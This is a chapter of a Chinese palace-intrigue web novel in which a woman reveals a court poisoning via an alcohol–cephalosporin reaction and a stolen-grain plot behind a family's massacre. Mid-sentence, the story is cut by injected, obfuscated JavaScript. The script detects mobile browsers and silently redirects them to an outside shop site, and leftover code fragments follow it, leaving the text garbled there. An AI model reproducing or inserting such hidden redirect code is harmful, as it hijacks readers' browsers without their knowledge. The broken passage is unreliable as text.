文趣网 > 其他小说 > 我的古代纸片人男主跨次元了2 > 52. 那一胎,是龙凤胎
    可宫里每一房都有糕点,为何他们会去御膳房呢?

    那是在皇后处。

    两人等了许久,等与陆云晋在前一日,便约好一同用早膳的皇后出现。

    可等了许久,也只等到皇后身边的小侍女出现,“娘娘身子不适,与太子殿下一起用早膳之事,暂且搁置了。娘娘说,中秋宴一会儿就开了,太子若是饿了,可先去御膳房寻点儿吃食垫吧垫吧。”

    说来也怪,那一日,皇后的宫殿竟然没有任何点心。

    时至今日,菅仰止才察觉到异常。

    他眼下,似乎还看到了年幼的云晋,兴高采烈地与他一起去了御膳房。

    正确来说,他们不是在门口碰上的云贵妃,而是刚好看到云贵妃,在御膳房里吃点心。

    云贵妃见到他们二人后,还不好意思地拿了两块桂花糕,塞进他们手里,接着,悄悄溜走了。

    “所以,为什么桂花糕里有毒?”菅仰止问。

    “有毒?”宋三元一声冷笑,“你以为你们看见我的时候,我吃的是什么?为何我没中毒?他却中了?”

    菅仰止愣了一瞬,“不可能是云晋。”

    宋三元叹了一口气,“他是不可能,但他的母亲秦氏女却将儿子利用了个扎实!桂花糕里面的主要成分是桂花、糖分、黄酒,这些物质中都含有一定的乙醇成分。乙醇如果和头孢类药物一起吃,会和头孢类药物中的成分发生双硫仑样反应。可能会出现头晕、恶心、颜面发红、头痛等症状,严重时,可导致患者出现心律失常、呼吸困难,甚至……死亡。”

    菅仰止怔了怔。

    这段日子,他学到的东西太多了,自然也包括简单的医学常识。

    他低声喃咛,“云晋那几日嗓子疼痛,一直在吃一种药,但因为已经吃了两日,并未有何不适,故而谁也没有怀疑……”

    “是的。那药,还是我以皓月之身诈死前,留在太医院的呢!”

    “可……”菅仰止顿住,两息后他还是问出口,“他们为何会确定你一定会给我们桂花糕?又为何会确定你肯定会在?”

    “第一个问题,因为我最喜欢的食物就是桂花糕,这么多年来,那人下令让御膳房常日备着,从没有变过。第二个问题,因为在你们来之前,御膳房的门,刚刚打开连半分钟都没有!”

    菅仰止刚准备问,那又是怎么保证你会出现的?

    宋三元便道出了声,“哦,额外再送你一个答案。那天,我之所以去取桂花糕,是因为之儿受人怂恿,一大早便嚷嚷着要吃那个。而我,那段时日也就是馋得慌,这不说还好,这一说嘴上便也痒痒了。因此,我才会去取。当然,你可能会问,为何不派人去取?我可以一并回答,熟悉我的人都知道,我的衣食起居,从来都是自力更生,不需人伺候的。”

    菅仰止不理解,“你既是皓月公子,那当时,必然已知晓缘由,可,你缘何不反抗?”

    “你看,你这不又问回来了?”宋三元冷笑着,“方才我都不说了吗?既然他装作什么都不知道,想要过河拆桥,那便当是我在南安,送给他的最后一份礼物了。”

    “等等。”菅仰止猛然想起什么,突然睁大眸子,“然,你是在进冷宫前,就已怀了身孕?”

    宋三元呼出一口气。

    电梯早已经到了地下车库。她没有走出去,而是重新关上电梯门。

    她也没怎么犹豫,也就两秒钟的时间,她点了下头,说,“对,那时刚怀上。”

    “所以,在月月出生那一日,你自杀后,便来到这里,生下了她?”菅仰止问。

    “不是。”宋三元回答,“我并非自杀,是死于难产。之所以不自救,是想让我自己记住这股恨意,让我再想起那个人时,浑身的每一块骨头、每一个细胞,都能深刻地记住,他是如何辜负的我,又是如何害死的我!”

    她说得咬牙切齿,但却格外平静,似乎只是空有一腔恨意,但却又透着无可奈何,还有长久以来无助的麻木。

    她说,“其实月月还有个兄长。哦,不是之儿,是月月的双生哥哥。我那一胎,怀的是龙凤胎,她兄长出来后,我便断了气,只留住了月月……”

    菅仰止听到这里,整个人都是震撼的。

    “那,为何冷宫会起火?而那具女尸,又是怎么回事?”

    宋三元低头,无奈地笑道,“这就要说到你母亲了。是你母亲帮着之儿一起,做了个局。”

    她说,“你母亲,曾是西延将军。西延王被害,你母亲家族一夜被叛军所绞。你父亲在你母亲危难之时,助了他一臂之力。他们日久生情,你母亲便为了你父亲,放弃一身戎装,远嫁南安,甘愿为……”

    宋三元看了菅仰止一眼,道,“其实就此事,我与你母亲还商讨过,你父亲驻守北圣,长年也见不上几面,可你母亲那么优秀,却愿意为了一个人做一介内宅妇人,我问她,可曾后悔?”

    宋三元笑着,眸子清亮似水,她说,“那时候你母亲才怀上你。她一脸娇羞,说,值得。说,总会有让你甘心,为他守宅之人。你母亲一语成谶,我是遇到了,只是这个人,不值得。”

    “不过你父母的爱情,却是忠贞不渝的。”她顿了顿,又补充道。

    菅仰止红着眼,“然,他屠我菅家满门,是因为知道了这件事吗?”

    宋三元摇头,“不全是。还有你父亲的事情。你可记得,当年你为何出征北圣?”

    菅仰止怔了片刻,道,“因父亲战败,被北圣俘虏。我南安无将可用,我才主动请缨,为救父,也为救国!”

    宋三元颔首,“那你可知,你父亲缘何会战败?”

    “你这是何意?”菅仰止问。

    宋三元并未细说,只是道了两个字,“粮草。”

    仅这二字,便让菅仰止仿若回到了五年前。

    他家满门被屠后,京阳大街小巷,茶肆酒楼众说纷纭。

    有一则是这么说的:昌宁侯战场通敌,故意兵败北圣,不然好几位被俘的将军,怎就他安然无恙地被放了回来……

    菅仰止握紧的拳头里,指甲生生戳进肉里。

    他暴怒嘶吼,沉抑宛如猎豹,“不可能!我父一生忠勇,根本不可能贪墨粮草!通敌叛国!”

    “我知道。”宋三元拍了拍他的肩头,道,“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620325|202328||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你可还记得董纪?”

    “董纪?”菅仰止眯眼,自然记得,不正是前些日子青州那件鬼火案中的富商,秦左相的表弟吗?难道说……几息后,他才哑声发问,“粮草之事,与秦氏有关?”

    宋三元点头,“你父亲出征前,除了与他自己出生入死的两名副将,陆索中还派了一位副将,你可还记得是谁的门生?”

    “你是说,刘全?”

    “正是。”宋三元道,“征讨北圣时,刘全负责筹措三十万征战的粮草,这一任务十分艰巨,你身为将军,应当知道,战争打的实则就是粮草。所以才有“兵马未动,粮草先行”的说法。”

    菅仰止道,“是,掌握了粮草,就掌握了战争主动权。”

    “可是,当你父亲的军队做好了迎战的准备,打算大干一场的时候,坏消息传来了,30万军地粮草被人一把火烧了!”

    “怎么会?”听到这一消息,菅仰止直接破防。他并不记得有这么一件事情,也并未听父亲、甚至任何人提起过!

    宋三元望了他一眼,继续道,“粮草被烧,你父亲便知道,必是朝廷之中出了内奸。因为粮草辎重是朝廷的最高机密,除了陆索中和丞相知道,还有你父亲和几位副将知道外,没人知道粮草的具体位置。但粮草提调官丁卓,却是你父亲举荐的!更为重要的是,那丁卓在粮草被烧后,不知所踪!所以,这一切的目标,都指向你父亲!”

    她顿了一息,调整了下站姿,又道,“不过,这些都不重要,重要的是粮草被烧的消息,并没有传到陆索中耳中。而知道此消息的将士们,也都已经死在了战场上。后来,你父亲被俘,你上战场救下你父亲,你父亲回到南安后才知,朝中没有任何人知道粮草被烧之事。他斟酌再三,还是去上禀了陆索中,于是,陆索中便着手你父亲,暗中调查此事。”

    “能够隐瞒这般大的一件事情,若是证据确凿,秦氏便是有通天本事,也难逃一死。”菅仰止恨恨开口。

    “你说的没有错。”宋三元又叹气,“可秦氏那只老狐狸,早就算准了后路。任凭你父亲如何查,那批粮草都是没有任何纰漏的,是正正经经已经由军中接手了的。”

    菅仰止道,“是刘全。”

    “嗯。正是刘全。刘全带了人,杀了丁卓,与奸商董纪沆瀣一气,私吞了那批粮草。后,在你父亲面前演了一出火烧杂草的戏。”宋三元说着又吐出一口气,道,“你父亲查到董纪的时候,正是你高中之日。可在你父亲上禀了陆索中后,当夜你菅家满门,便死在了他的暗影卫之下。”

    许久,菅仰止笑出了声。

    无声的泪痕,顺着他姣好的容颜划落下巴,砸在冰冷的铁皮地上。

    他双拳紧握,指甲狠狠攥进掌心中,可他感觉不到疼。他的凤眸里,一片通红,还在痛心地笑,“我父尽忠职守,明察秋毫,欲替他剜除最大的毒瘤!他为何,为何要如此!”

    宋三元靠在电梯的墙壁上,感受着铁皮的冰冷刺进肌肤,涌入骨髓。

    她好看的桃眸,在白亮的光照中闪烁着,她说,“孩子,放心吧,天下之事,报应不爽。陆索中,他不会有善终。”